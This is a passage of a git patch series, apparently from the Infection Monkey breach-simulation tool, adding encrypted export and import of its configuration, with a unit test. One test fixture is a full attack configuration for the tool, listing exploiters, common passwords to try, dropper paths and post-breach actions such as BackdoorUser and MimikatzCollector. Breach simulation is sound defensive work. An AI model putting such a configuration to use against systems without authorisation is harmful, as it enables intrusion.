remove_file(path: str) -> bool: + file_removal_successful = False + try: + os.remove_file(path) + file_removal_successful = True + except Exception as ex: + logger.error(f"Could not remove plaintext file: {str(ex)}") + + return file_removal_successful From 495eb4c6a38e5c2b845b9c0fdbda520dc947e9a0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 28 May 2021 18:16:29 +0530 Subject: [PATCH 0620/1360] Modify config encryption logic: don't save the file in the backend, just encrypt it and send it back to the frontend --- .../cc/resources/configuration_export.py | 29 +++----------- .../cc/services/utils/config_encryption.py | 37 ++++++++++++++++++ .../cc/services/utils/file_handler.py | 39 ------------------- 3 files changed, 42 insertions(+), 63 deletions(-) create mode 100644 monkey/monkey_island/cc/services/utils/config_encryption.py delete mode 100644 monkey/monkey_island/cc/services/utils/file_handler.py diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index 4cecce6341d..00dc00fd045 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -1,42 +1,23 @@ import json -import os import flask_restful from flask import jsonify, request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.file_handler import encrypt_file_with_password +from monkey_island.cc.services.utils.config_encryption import encrypt_config class ConfigurationExport(flask_restful.Resource): @jwt_required def get(self): - return jsonify( - config_encrypted=self.file_encryption_successful, - plaintext_removed=self.plaintext_file_removal_successful, - ) + return jsonify(encrypted_config=self.encrypted_config) @jwt_required def post(self): - data = json.loads(request.data) + password = json.loads(request.data)["password"] + plaintext_config = ConfigService.get_config() - config = ConfigService.get_config() - - config_filename = "monkey.conf" - plaintext_config_path = os.path.join(DEFAULT_DATA_DIR, config_filename) - with open(plaintext_config_path) as file: - json.dump(config, file) - - self.file_encryption_successful = self.plaintext_file_removal_successful = False - if "password" in data: - encrypted_config_path = os.path.join(DEFAULT_DATA_DIR, f"encrypted_{config_filename}") - ( - self.file_encryption_successful, - self.plaintext_file_removal_successful, - ) = encrypt_file_with_password( - plaintext_config_path, encrypted_config_path, data["password"] - ) + self.encrypted_config = encrypt_config(plaintext_config, password) return self.get() diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py new file mode 100644 index 00000000000..3c3488b47f7 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -0,0 +1,37 @@ +import io +import json +from typing import Dict + +import pyAesCrypt + +BUFFER_SIZE = 64 * 1024 + + +def encrypt_config(config: Dict, password: str) -> bytes: + plaintext_config_stream = io.BytesIO(json.dumps(config).encode()) + ciphertext_config_stream = io.BytesIO() + + pyAesCrypt.encryptStream( + plaintext_config_stream, ciphertext_config_stream, password, BUFFER_SIZE + ) + + ciphertext_config_bytes = ciphertext_config_stream.getvalue() + return ciphertext_config_bytes + + +def decrypt_config(enc_config: bytes, password: str) -> Dict: + ciphertext_config_stream = io.BytesIO(enc_config) + dec_plaintext_config_stream = io.BytesIO() + + len_ciphertext_config_stream = len(ciphertext_config_stream.getvalue()) + + pyAesCrypt.decryptStream( + ciphertext_config_stream, + dec_plaintext_config_stream, + password, + BUFFER_SIZE, + len_ciphertext_config_stream, + ) + + plaintext_config = json.loads(dec_plaintext_config_stream.getvalue().decode("utf-8")) + return plaintext_config diff --git a/monkey/monkey_island/cc/services/utils/file_handler.py b/monkey/monkey_island/cc/services/utils/file_handler.py deleted file mode 100644 index db71ea08a6c..00000000000 --- a/monkey/monkey_island/cc/services/utils/file_handler.py +++ /dev/null @@ -1,39 +0,0 @@ -import logging -import os -from typing import Optional, Tuple - -import pyAesCrypt - -logger = logging.getLogger(__name__) - - -def encrypt_file_with_password( - plaintext_file_path: str, - encrypted_file_path: str, - password: str, - should_remove_plaintext_file: bool = True, -) -> Tuple[bool, Optional[bool]]: - - file_encryption_successful = False - try: - pyAesCrypt.encryptFile(plaintext_file_path, encrypted_file_path, password) - file_encryption_successful = True - except Exception as ex: - logger.error(f"Could not encrypt config file: {str(ex)}") - - plaintext_file_removal_successful = False - if file_encryption_successful and should_remove_plaintext_file: - plaintext_file_removal_successful = remove_file(plaintext_file_path) - - return file_encryption_successful, plaintext_file_removal_successful - - -def remove_file(path: str) -> bool: - file_removal_successful = False - try: - os.remove_file(path) - file_removal_successful = True - except Exception as ex: - logger.error(f"Could not remove plaintext file: {str(ex)}") - - return file_removal_successful From 308ae3e169bcef5ae2bcdeff8a3d9e63f77322e0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 28 May 2021 18:42:46 +0530 Subject: [PATCH 0621/1360] Link config encryption backend logic with frontend (partially) --- .../cc/resources/configuration_export.py | 13 +++++++++---- .../configuration-components/ExportConfigModal.tsx | 3 +++ 2 files changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index 00dc00fd045..2b759cf766a 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -1,7 +1,7 @@ import json import flask_restful -from flask import jsonify, request +from flask import request from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService @@ -11,13 +11,18 @@ class ConfigurationExport(flask_restful.Resource): @jwt_required def get(self): - return jsonify(encrypted_config=self.encrypted_config) + return {"encrypted_config": self.config_to_return} @jwt_required def post(self): - password = json.loads(request.data)["password"] + data = json.loads(request.data) + should_encrypt = data["should_encrypt"] + plaintext_config = ConfigService.get_config() - self.encrypted_config = encrypt_config(plaintext_config, password) + self.config_to_return = plaintext_config + if should_encrypt: + password = data["password"] + self.config_to_return = encrypt_config(plaintext_config, password) return self.get() diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index d6d84d14e5f..7e9458979b3 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -33,6 +33,9 @@ const ConfigExportModal = (props: Props) => { }) } ) + .then(res => { + console.log(res.json()); + }) } return ( From 46408e6d326ca1c98eda9570905ffb5eb8fb7e9a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 31 May 2021 16:09:10 +0300 Subject: [PATCH 0622/1360] Implemented export byte saving to file --- .../monkey_island/cc/services/utils/config_encryption.py | 6 +++--- .../configuration-components/ExportConfigModal.tsx | 9 +++++++-- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 3c3488b47f7..379e91c74ec 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -4,18 +4,18 @@ import pyAesCrypt +# TODO use from pyAesCrypt BUFFER_SIZE = 64 * 1024 -def encrypt_config(config: Dict, password: str) -> bytes: +def encrypt_config(config: Dict, password: str) -> str: plaintext_config_stream = io.BytesIO(json.dumps(config).encode()) ciphertext_config_stream = io.BytesIO() pyAesCrypt.encryptStream( plaintext_config_stream, ciphertext_config_stream, password, BUFFER_SIZE ) - - ciphertext_config_bytes = ciphertext_config_stream.getvalue() + ciphertext_config_bytes = str(ciphertext_config_stream.getvalue()) return ciphertext_config_bytes diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index 7e9458979b3..b2adbc69457 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -1,6 +1,7 @@ import {Button, Modal, Form} from 'react-bootstrap'; import React, {useState} from 'react'; +import FileSaver from 'file-saver'; import AuthComponent from '../AuthComponent'; import '../../styles/components/configuration-components/ExportConfigModal.scss'; @@ -33,8 +34,12 @@ const ConfigExportModal = (props: Props) => { }) } ) - .then(res => { - console.log(res.json()); + .then(res => res.json()) + .then(res => { + console.log(res); + const configAsBinary = new Blob([res['encrypted_config']]); + + FileSaver.saveAs(configAsBinary, 'monkey.conf'); }) } From f4b5d341cfa960809185176e614114022892cf68 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 1 Jun 2021 12:14:57 +0530 Subject: [PATCH 0623/1360] Finish up hooking frontend and backend for export config --- .../cc/resources/configuration_export.py | 4 +++- .../cc/services/utils/config_encryption.py | 1 + .../configuration-components/ExportConfigModal.tsx | 14 ++++++++++---- 3 files changed, 14 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index 2b759cf766a..b3de58f922d 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -11,7 +11,7 @@ class ConfigurationExport(flask_restful.Resource): @jwt_required def get(self): - return {"encrypted_config": self.config_to_return} + return {"to_export": self.config_to_return, "is_plaintext": self.is_plaintext} @jwt_required def post(self): @@ -21,8 +21,10 @@ def post(self): plaintext_config = ConfigService.get_config() self.config_to_return = plaintext_config + self.is_plaintext = True if should_encrypt: password = data["password"] self.config_to_return = encrypt_config(plaintext_config, password) + self.is_plaintext = False return self.get() diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 379e91c74ec..ada10aab294 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -15,6 +15,7 @@ def encrypt_config(config: Dict, password: str) -> str: pyAesCrypt.encryptStream( plaintext_config_stream, ciphertext_config_stream, password, BUFFER_SIZE ) + ciphertext_config_bytes = str(ciphertext_config_stream.getvalue()) return ciphertext_config_bytes diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index b2adbc69457..c1220817066 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -35,11 +35,17 @@ const ConfigExportModal = (props: Props) => { } ) .then(res => res.json()) - .then(res => { - console.log(res); - const configAsBinary = new Blob([res['encrypted_config']]); - + .then(res => { + let configToExport = res['to_export']; + if (res['is_plaintext'] === true) { + const configAsBinary = new Blob([configToExport], {type: 'text/plain;charset=utf-8'}); + FileSaver.saveAs(configAsBinary, 'monkey.conf'); + } + else { + const configAsBinary = new Blob([configToExport.slice(2, -1)]); FileSaver.saveAs(configAsBinary, 'monkey.conf'); + + } }) } From d67e84a6a758c3b980c4e5dfba8c385b57087158 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 1 Jun 2021 12:52:37 +0530 Subject: [PATCH 0624/1360] Make sure (1) config is updated before exporting; (2) plaintext config is exported correctly --- .../configuration-components/ExportConfigModal.tsx | 3 ++- .../cc/ui/src/components/pages/ConfigurePage.js | 9 ++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index c1220817066..a6dc47c2df1 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -38,7 +38,8 @@ const ConfigExportModal = (props: Props) => { .then(res => { let configToExport = res['to_export']; if (res['is_plaintext'] === true) { - const configAsBinary = new Blob([configToExport], {type: 'text/plain;charset=utf-8'}); + const configAsBinary = new Blob([JSON.stringify(configToExport, null, 2)], + {type: 'text/plain;charset=utf-8'}); FileSaver.saveAs(configAsBinary, 'monkey.conf'); } else { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 251aa12fac0..0aae3f3562f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -369,6 +369,11 @@ class ConfigurePageComponent extends AuthComponent { this.authFetch(apiEndpoint, request_options); } + exportConfig = () => { + this.updateConfigSection(); + this.setState({showConfigExportModal: true}); + }; + sendConfig() { return ( this.authFetch('/api/configuration/island', @@ -500,9 +505,7 @@ class ConfigurePageComponent extends AuthComponent { Import config From b9fb4c6902f668a3698026a26795ef040e8b7e3e Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 1 Jun 2021 15:45:20 +0530 Subject: [PATCH 0625/1360] Add exception handling for config decryption --- monkey/common/utils/exceptions.py | 8 +++-- .../cc/resources/temp_configuration.py | 29 ++++++++++++------- .../cc/services/utils/config_encryption.py | 22 +++++++++----- 3 files changed, 40 insertions(+), 19 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 0658b74f3ec..a9b4bd550fe 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -55,12 +55,16 @@ class DomainControllerNameFetchError(FailedExploitationError): class InvalidCredentialsError(Exception): - """ Raise when credentials supplied are invalid""" + """ Raise when credentials supplied are invalid """ class NoCredentialsError(Exception): - """ Raise when no credentials have been supplied""" + """ Raise when no credentials have been supplied """ class InvalidConfigurationError(Exception): """ Raise when configuration is invalid """ + + +class FailedDecryption(Exception): + """ Raise when any kind of decryption fails """ diff --git a/monkey/monkey_island/cc/resources/temp_configuration.py b/monkey/monkey_island/cc/resources/temp_configuration.py index fe9ae09b677..4ec651f63c4 100644 --- a/monkey/monkey_island/cc/resources/temp_configuration.py +++ b/monkey/monkey_island/cc/resources/temp_configuration.py @@ -6,10 +6,12 @@ from common.utils.exceptions import ( InvalidConfigurationError, - InvalidCredentialsError, + # InvalidCredentialsError, NoCredentialsError, + FailedDecryption, ) from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.utils.config_encryption import decrypt_config @dataclass @@ -30,12 +32,19 @@ class TempConfiguration(flask_restful.Resource): def post(self): request_contents = json.loads(request.data) try: - self.decrypt(request_contents["password"]) + decrypt_config(request_contents["encrypted_config"], request_contents["password"]) self.import_config() return ResponseContents().form_response() - except InvalidCredentialsError: + # except InvalidCredentialsError: + # return ResponseContents( + # import_status="wrong_password", message="Wrong password supplied", status_code=403 + # ).form_response() + except FailedDecryption as ex: return ResponseContents( - import_status="wrong_password", message="Wrong password supplied", status_code=403 + import_status="decryption_failure", + message="Decryptioon of configuration failed. Error thrown during decryption: " + + f"{str(ex)}", + status_code=403, ).form_response() except InvalidConfigurationError: return ResponseContents( @@ -52,12 +61,12 @@ def post(self): status_code=403, ).form_response() - def decrypt(self, password=""): - if not password: - raise NoCredentialsError - if not password == "abc": - raise InvalidCredentialsError - return False + # def decrypt(self, password=""): + # if not password: + # raise NoCredentialsError + # if not password == "abc": + # raise InvalidCredentialsError + # return False def import_config(self): return True diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index ada10aab294..35b580b78a4 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -4,6 +4,8 @@ import pyAesCrypt +from common.utils.exceptions import FailedDecryption, NoCredentialsError + # TODO use from pyAesCrypt BUFFER_SIZE = 64 * 1024 @@ -21,18 +23,24 @@ def encrypt_config(config: Dict, password: str) -> str: def decrypt_config(enc_config: bytes, password: str) -> Dict: + if not password: + raise NoCredentialsError + ciphertext_config_stream = io.BytesIO(enc_config) dec_plaintext_config_stream = io.BytesIO() len_ciphertext_config_stream = len(ciphertext_config_stream.getvalue()) - pyAesCrypt.decryptStream( - ciphertext_config_stream, - dec_plaintext_config_stream, - password, - BUFFER_SIZE, - len_ciphertext_config_stream, - ) + try: + pyAesCrypt.decryptStream( + ciphertext_config_stream, + dec_plaintext_config_stream, + password, + BUFFER_SIZE, + len_ciphertext_config_stream, + ) + except ValueError as ex: + raise FailedDecryption(str(ex)) plaintext_config = json.loads(dec_plaintext_config_stream.getvalue().decode("utf-8")) return plaintext_config From 7153b91c108ba828df39fce19d104c7b93388337 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 1 Jun 2021 15:51:31 +0530 Subject: [PATCH 0626/1360] Use buffer size directly from pyAesCrypt --- monkey/monkey_island/cc/services/utils/config_encryption.py | 3 +-- test_config_encryption.py | 0 2 files changed, 1 insertion(+), 2 deletions(-) create mode 100644 test_config_encryption.py diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index 35b580b78a4..eb597be7c66 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -6,8 +6,7 @@ from common.utils.exceptions import FailedDecryption, NoCredentialsError -# TODO use from pyAesCrypt -BUFFER_SIZE = 64 * 1024 +BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef def encrypt_config(config: Dict, password: str) -> str: diff --git a/test_config_encryption.py b/test_config_encryption.py new file mode 100644 index 00000000000..e69de29bb2d From a94047d778624aa970ea4837329f9b94da5f93e7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 14:15:58 +0300 Subject: [PATCH 0627/1360] Fixed configuration encryption/decryption to use b64 encoding --- .../monkey_island/cc/resources/temp_configuration.py | 7 +++---- .../cc/services/utils/config_encryption.py | 12 ++++++++---- 2 files changed, 11 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/resources/temp_configuration.py b/monkey/monkey_island/cc/resources/temp_configuration.py index 4ec651f63c4..d82c8c92d72 100644 --- a/monkey/monkey_island/cc/resources/temp_configuration.py +++ b/monkey/monkey_island/cc/resources/temp_configuration.py @@ -4,11 +4,10 @@ import flask_restful from flask import request -from common.utils.exceptions import ( +from common.utils.exceptions import ( # InvalidCredentialsError, + FailedDecryption, InvalidConfigurationError, - # InvalidCredentialsError, NoCredentialsError, - FailedDecryption, ) from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.utils.config_encryption import decrypt_config @@ -32,7 +31,7 @@ class TempConfiguration(flask_restful.Resource): def post(self): request_contents = json.loads(request.data) try: - decrypt_config(request_contents["encrypted_config"], request_contents["password"]) + decrypt_config(request_contents["config"], request_contents["password"]) self.import_config() return ResponseContents().form_response() # except InvalidCredentialsError: diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index eb597be7c66..dbe09db4ca0 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -1,3 +1,4 @@ +import base64 import io import json from typing import Dict @@ -17,15 +18,18 @@ def encrypt_config(config: Dict, password: str) -> str: plaintext_config_stream, ciphertext_config_stream, password, BUFFER_SIZE ) - ciphertext_config_bytes = str(ciphertext_config_stream.getvalue()) - return ciphertext_config_bytes + ciphertext_b64 = base64.b64encode(ciphertext_config_stream.getvalue()) + return str(ciphertext_b64) -def decrypt_config(enc_config: bytes, password: str) -> Dict: + +def decrypt_config(cyphertext: str, password: str) -> Dict: if not password: raise NoCredentialsError - ciphertext_config_stream = io.BytesIO(enc_config) + cyphertext = base64.b64decode(cyphertext) + + ciphertext_config_stream = io.BytesIO(cyphertext) dec_plaintext_config_stream = io.BytesIO() len_ciphertext_config_stream = len(ciphertext_config_stream.getvalue()) From 295cacaffcd37f7d0e525d9c58a67d4f8abf2943 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 1 Jun 2021 18:14:32 +0530 Subject: [PATCH 0628/1360] Add unit tests for config_encryption.py --- .../monkey_config_standard.json | 209 ++++++++++++++++++ .../services/utils/test_config_encryption.py | 26 +++ test_config_encryption.py | 0 3 files changed, 235 insertions(+) create mode 100644 monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py delete mode 100644 test_config_encryption.py diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json new file mode 100644 index 00000000000..86a43f0fce9 --- /dev/null +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -0,0 +1,209 @@ +{ + "basic": { + "exploiters": { + "exploiter_classes": [ + "SmbExploiter", + "WmiExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter", + "VSFTPDExploiter", + "MSSQLExploiter", + "DrupalExploiter" + ] + }, + "credentials": { + "exploit_user_list": [ + "Administrator", + "root", + "user" + ], + "exploit_password_list": [ + "root", + "123456", + "password", + "123456789", + "qwerty", + "111111", + "iloveyou" + ] + } + }, + "basic_network": { + "scope": { + "blocked_ips": [], + "local_network_scan": true, + "depth": 2, + "subnet_scan_list": [] + }, + "network_analysis": { + "inaccessible_subnets": [] + } + }, + "internal": { + "general": { + "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "keep_tunnel_open_time": 60, + "monkey_dir_name": "monkey_dir", + "started_on_island": false + }, + "monkey": { + "victims_max_find": 100, + "victims_max_exploit": 100, + "internet_services": [ + "monkey.guardicore.com", + "www.google.com" + ], + "self_delete_in_cleanup": true, + "use_file_logging": true, + "serialize_config": false, + "alive": true, + "aws_keys": { + "aws_access_key_id": "", + "aws_secret_access_key": "", + "aws_session_token": "" + } + }, + "island_server": { + "command_servers": [ + "192.168.1.37:5000", + "10.0.3.1:5000", + "172.17.0.1:5000" + ], + "current_server": "192.168.1.37:5000" + }, + "network": { + "tcp_scanner": { + "HTTP_PORTS": [ + 80, + 8080, + 443, + 8008, + 7001, + 9200 + ], + "tcp_target_ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 7001, + 8088 + ], + "tcp_scan_interval": 0, + "tcp_scan_timeout": 3000, + "tcp_scan_get_banner": true + }, + "ping_scanner": { + "ping_scan_timeout": 1000 + } + }, + "classes": { + "finger_classes": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "kill_file": { + "kill_file_path_windows": "%windir%\\monkey.not", + "kill_file_path_linux": "/var/run/monkey.not" + }, + "dropper": { + "dropper_set_date": true, + "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", + "dropper_date_reference_path_linux": "/bin/sh", + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", + "dropper_try_move_first": true + }, + "logging": { + "dropper_log_path_linux": "/tmp/user-1562", + "dropper_log_path_windows": "%temp%\\~df1562.tmp", + "monkey_log_path_linux": "/tmp/user-1563", + "monkey_log_path_windows": "%temp%\\~df1563.tmp", + "send_log_to_server": true + }, + "exploits": { + "exploit_lm_hash_list": [], + "exploit_ntlm_hash_list": [], + "exploit_ssh_keys": [], + "general": { + "skip_exploit_if_file_exist": false + }, + "ms08_067": { + "ms08_067_exploit_attempts": 5, + "user_to_add": "Monkey_IUSER_SUPPORT" + }, + "sambacry": { + "sambacry_trigger_timeout": 5, + "sambacry_folder_paths_to_guess": [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home" + ], + "sambacry_shares_not_to_check": [ + "IPC$", + "print$" + ] + } + }, + "testing": { + "export_monkey_telems": false + } + }, + "monkey": { + "post_breach": { + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "PBA_windows_filename": "", + "PBA_linux_filename": "", + "post_breach_actions": [ + "BackdoorUser", + "CommunicateAsNewUser", + "ModifyShellStartupFiles", + "HiddenFiles", + "TrapCommand", + "ChangeSetuidSetgid", + "ScheduleJobs", + "Timestomping", + "AccountDiscovery" + ] + }, + "system_info": { + "system_info_collector_classes": [ + "EnvironmentCollector", + "AwsCollector", + "HostnameCollector", + "ProcessListCollector", + "MimikatzCollector", + "AzureCollector" + ] + }, + "persistent_scanning": { + "max_iterations": 1, + "timeout_between_iterations": 100, + "retry_failed_explotation": true + } + } + } diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py new file mode 100644 index 00000000000..8455ba593e5 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -0,0 +1,26 @@ +import json +import os + +import pytest + +from monkey_island.cc.services.utils.config_encryption import decrypt_config, encrypt_config + +MONKEY_CONFIGS_DIR_PATH = "monkey_configs" +STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" + +PASSWORD = "hello123" + + +@pytest.fixture +def plaintext_config(data_for_tests_dir): + plaintext_monkey_config_standard_path = os.path.join( + data_for_tests_dir, MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME + ) + plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read()) + return plaintext_config + + +def test_encrypt_decrypt_config(plaintext_config): + encrypted_config = encrypt_config(plaintext_config, PASSWORD) # str of the form: `b'a1b2c3'` + encrypted_config = encrypted_config[2:-1] # so we slice it here + assert decrypt_config(encrypted_config, PASSWORD) == plaintext_config diff --git a/test_config_encryption.py b/test_config_encryption.py deleted file mode 100644 index e69de29bb2d..00000000000 From 321dd2c55eeb7c25de23c1607ff944fb657194a9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 15:51:44 +0300 Subject: [PATCH 0629/1360] Improved configuration export related code by making it cleaner/more trivial --- .../cc/resources/configuration_export.py | 12 ++------ .../cc/services/utils/config_encryption.py | 2 +- .../ExportConfigModal.tsx | 28 +++++++++---------- .../services/utils/test_config_encryption.py | 4 +-- 4 files changed, 19 insertions(+), 27 deletions(-) diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index b3de58f922d..40dd90044fe 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -9,10 +9,6 @@ class ConfigurationExport(flask_restful.Resource): - @jwt_required - def get(self): - return {"to_export": self.config_to_return, "is_plaintext": self.is_plaintext} - @jwt_required def post(self): data = json.loads(request.data) @@ -20,11 +16,9 @@ def post(self): plaintext_config = ConfigService.get_config() - self.config_to_return = plaintext_config - self.is_plaintext = True + config_export = plaintext_config if should_encrypt: password = data["password"] - self.config_to_return = encrypt_config(plaintext_config, password) - self.is_plaintext = False + config_export = encrypt_config(plaintext_config, password) - return self.get() + return {"config_export": config_export, "encrypted": should_encrypt} diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py index dbe09db4ca0..9a3783a47d3 100644 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ b/monkey/monkey_island/cc/services/utils/config_encryption.py @@ -20,7 +20,7 @@ def encrypt_config(config: Dict, password: str) -> str: ciphertext_b64 = base64.b64encode(ciphertext_config_stream.getvalue()) - return str(ciphertext_b64) + return ciphertext_b64.decode() def decrypt_config(cyphertext: str, password: str) -> Dict: diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index a6dc47c2df1..0b1df67e21f 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -12,7 +12,6 @@ type Props = { } const ConfigExportModal = (props: Props) => { - // TODO implement the back end const configExportEndpoint = '/api/configuration/export'; const [pass, setPass] = useState(''); @@ -34,20 +33,19 @@ const ConfigExportModal = (props: Props) => { }) } ) - .then(res => res.json()) - .then(res => { - let configToExport = res['to_export']; - if (res['is_plaintext'] === true) { - const configAsBinary = new Blob([JSON.stringify(configToExport, null, 2)], - {type: 'text/plain;charset=utf-8'}); - FileSaver.saveAs(configAsBinary, 'monkey.conf'); - } - else { - const configAsBinary = new Blob([configToExport.slice(2, -1)]); - FileSaver.saveAs(configAsBinary, 'monkey.conf'); - - } - }) + .then(res => res.json()) + .then(res => { + let configToExport = res['config_export']; + if (res['encrypted']) { + configToExport = new Blob([configToExport]); + } else { + configToExport = new Blob( + [JSON.stringify(configToExport, null, 2)], + {type: 'text/plain;charset=utf-8'} + ); + } + FileSaver.saveAs(configToExport, 'monkey.conf'); + }) } return ( diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index 8455ba593e5..87996756fc1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -21,6 +21,6 @@ def plaintext_config(data_for_tests_dir): def test_encrypt_decrypt_config(plaintext_config): - 